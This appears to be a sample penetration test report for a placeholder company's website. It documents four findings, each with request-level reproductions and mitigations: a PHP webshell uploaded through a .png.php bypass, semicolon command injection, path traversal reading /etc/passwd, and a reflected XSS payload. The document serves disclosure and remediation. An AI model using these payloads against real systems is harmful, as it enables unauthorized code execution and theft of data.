acylia

PENETRATION TEST REPORT
ACME WEBSITE

CLIENT
ACME

DATE
2024-01-01

UNCLASSIFIED

acylia

SUMMARY

1. Introduction

This document presents the results of a penetration test conducted on the ACME website. The aim of this test was to identify security vulnerabilities that could have a negative impact on the website, the data it processes and, consequently, the company as a whole.

The service provider methodically simulated attacks in order to test the resilience of the website against real world threat scenarios.

2. Scope

The scope of the penetration test was limited to the ACME website, its API and the server hosting the solution.

The assessment focused on the following elements:

HOSTS
`www.acme.tld`
`blog.acme.tld`

3. Engagement summary

The penetration test was performed over 5 working days. The penetration test began on January 2nd, 2023 and ended on January 6th, 2023 upon delivery of the final penetration test report.

All penetration test activities took place in the environment provided. The website was analyzed using automated analysis tools, but was mainly tested manually.

The attacks were carried out from the Internet using the IP address `31.33.7.1`.

The service provider did not encounter any problems that prevented the test from running as planned.

4. Executive summary

ACME contacted ACYLIA conduct a penetration test of their website. This platform allows employees to share documents between each other.

The main goal of the penetration test was to identify and exploit as many vulnerabilities as possible in order to assess the website's level of security against capable and committed attackers. Thus, the methodology employed was aimed at finding all cases that would disclose sensitive information, as well as cases of unauthorized access that would enable an attacker to compromise the application or its users.

4.1 Vulnerable surface

The website security was deemed insufficient by the service provider given the number of vulnerabilities discovered, their severity and the risk that they could have on the system and the data it processes.

4.2 Vulnerabilities table

The following table summarizes the vulnerabilities found in the application.

VULNERABILITY	SEVERITY
Unrestricted Upload of File with Dangerous Type	CRITICAL
OS Command Injection	HIGH
Arbitrary file read via Path Traversal	MEDIUM
Reflected XSS	MEDIUM

5. Vulnerabilities

5.1 Unrestricted Upload of File with Dangerous Type

SEVERITY: CRITICAL	CWE ID: CWE-434	CVSS SCORE: 9.9

Description

The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for `.php` extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution.

Impact

An attacker could execute unauthorized commands, which could then be used to read and modify data or disrupt the system.

Reproduction

A person authenticated as a user can upload a file with the `.php` extension passing it off as a `.png` file. This technique bypasses the security mechanism to prevent `.php` files from being uploaded.

In the HTTP request below, a *webshell* is transferred.

```
POST /upload.php HTTP/1.1
Host: www.acme.tld
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data;
boundary=eb36f8c3-805c-47dd-99e8-6d2096f0a6c0
Content-Length: 203

--eb36f8c3-805c-47dd-99e8-6d2096f0a6c0
Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
--eb36f8c3-805c-47dd-99e8-6d2096f0a6c0--
```

The *webshell* is confirmed to be working by executing the `id` command.

```
curl 'https://www.acme.tld/uploads/e88ad50dff40f9f6.png.php?c=id'
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Mitigations

- Define a very limited set of allowable extensions and only generate filenames that end in these extensions.
- Consider storing the uploaded files outside of the web document root entirely.

5.2 OS Command Injection

SEVERITY: HIGH	CWE ID: CWE-78	CVSS SCORE: 8.0

Description

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

This could allow attackers to execute unexpected, dangerous commands directly on the operating system.

Impact

Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly.

Reproduction

An attacker authenticated as an administrator can execute arbitrary commands by injecting a semicolon into the `userId` parameter.

In the HTTP request below, the shell command `;id>demo.txt` is injected to produce a new file containing the execution output of the `id` binary.

```
POST /admin/fetch.php HTTP/1.1
Host: www.acme.tld
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=0b8203894792731f909e7af88eddc116a3364fef
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

userId=123;id>demo.txt
```

The execution of our code is confirmed by retrieving the contents of the `demo.txt` file.

```
curl 'https://www.acme.tld/admin/demo.txt'
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Mitigations

- Assume all input is malicious.
- Use library calls rather than external processes to recreate the desired functionality.
- Properly quote arguments and escape any special characters within those arguments.

5.3 Arbitrary file read via Path Traversal

SEVERITY: MEDIUM	CWE ID: CWE-22	CVSS SCORE: 5.3

Description

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Many file operations are intended to take place within a restricted directory. By using special elements such as `..` and `/` separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system.

Impact

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file.

Reproduction

An unauthenticated user can read the files that are accessible by the `www-data` user.

In the command below, the path `../../../../etc/passwd` is injected into the name parameter of the URL and enables the `/etc/passwd` file to be read.

```
curl 'https://www.acme.tld/img.php?name=../../../../etc/passwd'
```

```
root:x:0:0:root:/root:/usr/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

Mitigations

- Assume all input is malicious.
- When validating filenames, use stringent allowlists that limit the character set to be used.
- Use a built-in path canonicalization function.

5.4 Reflected XSS

SEVERITY: MEDIUM	CWE ID: CWE-79	CVSS SCORE: 4.2

Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.

Impact

An attacker could execute actions impersonating the targeted user's session.

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.

Reproduction

An unauthenticated user can create a client-side script which, when interpreted by a web browser, executes an activity.

In the URL below, the HTML tag `<img src=1 onerror=alert(1)>` is injected into the `q` parameter and is reflected in the HTTP response, producing a JavaScript alert.

```
https://www.acme.tld/search.php?q=%3Cimg%20src=1%20onerror=alert(1)%3E
```

Mitigations

- Assume all input is malicious.
- Use stringent allowlists that limit the character set based on the expected value of the parameter in the request
- Proper output encoding, escaping, and quoting is the most effective solution for preventing XSS.

6. Conclusion

The goal of a penetration test is to better illustrate the risks that a company faces and to help them understand and reinforce their security in the face of potential threats.

The results of the test showed that the website's security level could be improved, as it contains several security flaws. These flaws could have a serious effect on the company's operations if exploited by a malicious actor.

Appropriate actions should be taken to remedy the vulnerabilities described in this penetration test report.